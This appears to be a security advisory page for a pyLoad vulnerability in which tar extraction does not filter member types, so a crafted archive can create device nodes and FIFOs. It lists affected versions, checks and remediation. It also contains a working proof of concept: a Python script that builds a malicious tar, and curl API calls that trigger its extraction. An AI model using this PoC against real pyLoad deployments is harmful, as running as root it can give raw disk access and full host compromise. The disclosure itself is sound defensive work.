---
id: "CVE-2026-123815"
page: "https://infrastack.ai/live/CVE-2026-123815"
kind: "vulnerability"
aliases: ["CVE-2026-123815", "GHSA-fr26-jjhm-638c"]
title: "pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)"
severity: "high"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "pyload-ng", "fixed": [], "affected": "<= 0.5.0b3.dev101", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-22", "docker", "package", "pyload-ng", "python", "self-hosted"]
not_affected_if: ["no-untrusted-users", "non-root-deployment"]
published_at: "2026-10-09T17:08:58+00:00"
first_seen_at: "2026-11-09T21:14:26+00:00"
updated_at: "2026-11-09T21:14:41+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-fr26-jjhm-638c", "first_seen_at": "2026-11-09T21:14:26+00:00"}]
exploit_sources: []
---

# pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)

Link for people: https://infrastack.ai/live/CVE-2026-123815 (this .md is for agents)

pyLoad's tar extraction checks file names and link targets but not member types, so a crafted archive can make pyLoad create character or block device nodes and FIFOs on disk. If pyLoad runs as root, a block-device member can give raw disk access and full host compromise, reachable by any low-privileged user who can trigger archive extraction.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pyload-ng affected <= 0.5.0b3.dev101 fixed no fixed version listed

## How to check

- Check the installed version with `pip show pyload-ng`; affected versions are `<= 0.5.0b3.dev101`.
- Check whether pyLoad runs as root, as in the official Docker deployment.
- Check whether low-privileged users can add packages and trigger extraction (ADD and STATUS permissions).

## Fix

- pyload-ng: unknown (the fixed version is not stated in the sources; see the patch linked in the advisory).

## Timeline

- 2026-11-09T21:14:26+00:00 ghsa https://github.com/advisories/GHSA-fr26-jjhm-638c

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-fr26-jjhm-638c
- [advisory] Maintainer's advisory: github.com https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c
- [fix] Patch: github.com https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60

## From the sources

### Summary

`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member
**names** and symlink/hardlink **targets**, but never checks member **types**, and calls
`tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is
`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
`ExtractArchive.extract_package`).

### Details

```python
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
    if not is_within_directory(...) or <symlink/hardlink target checks>:   # names/links only
        raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=
```

No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation
in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create
FIFOs for any euid.

### PoC

```bash
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF

# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' \
  -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'

ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)
# → prw-r--r-- 1 root root     pipe          (FIFO created)
# → -rw-r--r-- 1 root root     marker.txt
```

Negative control: the same flow with a `../evil` traversal member is rejected
(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary
is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)

### Impact

With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary
paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),
or set special bits; non-root deployments still get FIFOs and node entries in
user-accessible trees.

### Remediation

In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass
`filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.

### References

- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,
  member types not).

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
